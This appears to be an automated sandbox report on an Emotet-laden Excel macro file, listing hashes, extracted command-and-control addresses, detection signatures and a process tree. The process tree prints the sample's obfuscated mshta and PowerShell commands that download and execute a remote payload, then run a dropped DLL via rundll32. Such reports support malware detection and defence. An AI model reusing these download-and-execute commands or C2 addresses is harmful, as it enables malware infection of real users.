Analysis
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max time kernel
152s -
max time network
147s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
20-01-2022 02:02
Behavioral task
behavioral1
Sample
45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536.xlsm
Resource
win10-en-20211208
General
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Target
45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536.xlsm
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Size
115KB
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MD5
ade959d1528828eccc6468dd5c44b211
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SHA1
9d6835a997ddd704e83e1d8679e31deccfb4c546
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SHA256
45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536
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SHA512
540bc455cceba39cdcb94837f5c532eeda8a118d21406feb6c4b2c72c5b9b3d0d14b8cabc360371ee4478734b76b5f129cdebc3947e93fcab621fc68896db89e
Malware Config
Extracted
http://0x5cff39c3/sec/se1.html
Extracted
http://92.255.57.195/sec/se1.png
Extracted
emotet
Epoch5
45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2872 2676 cmd.exe 67 -
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
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Blocklisted process makes network request 6 IoCs
flow pid Process 34 4092 mshta.exe 38 348 powershell.exe 40 348 powershell.exe 42 1420 rundll32.exe 43 1420 rundll32.exe 45 1420 rundll32.exe -
Downloads MZ/PE file
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Loads dropped DLL 2 IoCs
pid Process 3780 rundll32.exe 2664 rundll32.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Jusyzecbdgtgkaed\qxttbnus.twz rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
pid pid_target Process procid_target 1276 4092 WerFault.exe 74 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2676 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 1276 WerFault.exe 348 powershell.exe 348 powershell.exe 348 powershell.exe 1420 rundll32.exe 1420 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1276 WerFault.exe Token: SeDebugPrivilege 348 powershell.exe -
Suspicious use of SetWindowsHookEx 20 IoCs
pid Process 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE 2676 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 2676 wrote to memory of 636 2676 EXCEL.EXE 71 PID 2676 wrote to memory of 636 2676 EXCEL.EXE 71 PID 2676 wrote to memory of 2872 2676 EXCEL.EXE 72 PID 2676 wrote to memory of 2872 2676 EXCEL.EXE 72 PID 2872 wrote to memory of 4092 2872 cmd.exe 74 PID 2872 wrote to memory of 4092 2872 cmd.exe 74 PID 4092 wrote to memory of 348 4092 mshta.exe 76 PID 4092 wrote to memory of 348 4092 mshta.exe 76 PID 348 wrote to memory of 1096 348 powershell.exe 79 PID 348 wrote to memory of 1096 348 powershell.exe 79 PID 1096 wrote to memory of 3780 1096 cmd.exe 80 PID 1096 wrote to memory of 3780 1096 cmd.exe 80 PID 1096 wrote to memory of 3780 1096 cmd.exe 80 PID 3780 wrote to memory of 2664 3780 rundll32.exe 81 PID 3780 wrote to memory of 2664 3780 rundll32.exe 81 PID 3780 wrote to memory of 2664 3780 rundll32.exe 81 PID 2664 wrote to memory of 4044 2664 rundll32.exe 82 PID 2664 wrote to memory of 4044 2664 rundll32.exe 82 PID 2664 wrote to memory of 4044 2664 rundll32.exe 82 PID 4044 wrote to memory of 1420 4044 rundll32.exe 83 PID 4044 wrote to memory of 1420 4044 rundll32.exe 83 PID 4044 wrote to memory of 1420 4044 rundll32.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2676 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:636
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C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\system32\mshta.exemshta http://0x5cff39c3/sec/se1.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:348 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3780 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jusyzecbdgtgkaed\qxttbnus.twz",gSDS8⤵
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Jusyzecbdgtgkaed\qxttbnus.twz",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1420
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4092 -s 16604⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1276
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